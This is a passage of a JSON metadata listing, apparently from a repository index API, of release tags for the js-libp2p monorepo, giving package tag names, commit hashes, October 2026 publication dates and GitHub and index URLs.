dency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.31/manifests"},{"name":"ping-v3.1.16","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.16/manifests"},{"name":"perf-v5.1.17","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.17/manifests"},{"name":"peer-store-v12.0.31","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.31/manifests"},{"name":"peer-record-v9.0.19","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-record-v9.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-record-v9.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-record-v9.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.19/manifests"},{"name":"peer-id-v6.0.18","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-id-v6.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-id-v6.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-id-v6.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.18/manifests"},{"name":"peer-collections-v7.0.31","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.31/manifests"},{"name":"opentelemetry-metrics-v2.0.32","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.32/manifests"},{"name":"noise-v17.0.6","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/noise-v17.0.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/noise-v17.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@noise-v17.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/noise-v17.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/noise-v17.0.6/manifests"},{"name":"multistream-select-v7.0.31","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.31/manifests"},{"name":"mplex-v12.0.35","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.35","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.35/manifests"},{"name":"memory-v2.0.31","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.31/manifests"},{"name":"mdns-v12.0.35","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.35","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.35/manifests"},{"name":"logger-v6.2.16","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/logger-v6.2.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/logger-v6.2.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@logger-v6.2.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.16/manifests"},{"name":"libp2p-v3.5.0","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.5.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.5.0/manifests"},{"name":"keychain-v6.1.10","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/keychain-v6.1.10","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/keychain-v6.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@keychain-v6.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.10/manifests"},{"name":"kad-dht-v16.4.8","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.4.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.8/manifests"},{"name":"interop-v14.0.42","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.42","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.42/manifests"},{"name":"interface-internal-v3.2.1","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.2.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.2.1/manifests"},{"name":"interface-compliance-tests-v7.0.35","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.35","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.35/manifests"},{"name":"integration-tests-v1.2.27","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.27/manifests"},{"name":"identify-v4.1.17","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.17/manifests"},{"name":"gossipsub-v17.2.0","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v17.2.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v17.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v17.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.2.0/manifests"},{"name":"floodsub-v11.1.0","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.1.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.1.0/manifests"},{"name":"fetch-v4.1.16","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.16/manifests"},{"name":"echo-v3.1.17","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.17/manifests"},{"name":"dcutr-v3.0.31","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.31/manifests"},{"name":"daemon-v6.0.42","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.42","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.42/manifests"},{"name":"daemon-server-v9.0.42","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.42","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.42/manifests"},{"name":"daemon-client-v10.0.42","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.42","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.42/manifests"},{"name":"crypto-v5.2.0","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/crypto-v5.2.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/crypto-v5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@crypto-v5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.2.0/manifests"},{"name":"config-v1.1.40","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/config-v1.1.40","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/config-v1.1.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@config-v1.1.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.40/manifests"},{"name":"circuit-relay-v2-v4.2.16","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.16/manifests"},{"name":"bootstrap-v12.0.35","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.35","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.35/manifests"},{"name":"autonat-v3.0.31","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.31/manifests"},{"name":"autonat-v2-v2.1.7","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.1.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.7/manifests"},{"name":"yamux-v8.0.5","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/yamux-v8.0.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/yamux-v8.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@yamux-v8.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/yamux-v8.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/yamux-v8.0.5/manifests"},{"name":"webtransport-v6.0.42","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.42","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.42/manifests"},{"name":"websockets-v10.1.23","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.23/manifests"},{"name":"webrtc-v7.0.0","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v7.0.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v7.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v7.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v7.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v7.0.0/manifests"},{"name":"utils-v7.4.3","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.4.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.4.3/manifests"},{"name":"upnp-nat-v4.0.30","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.30","manifests_url":"https://repos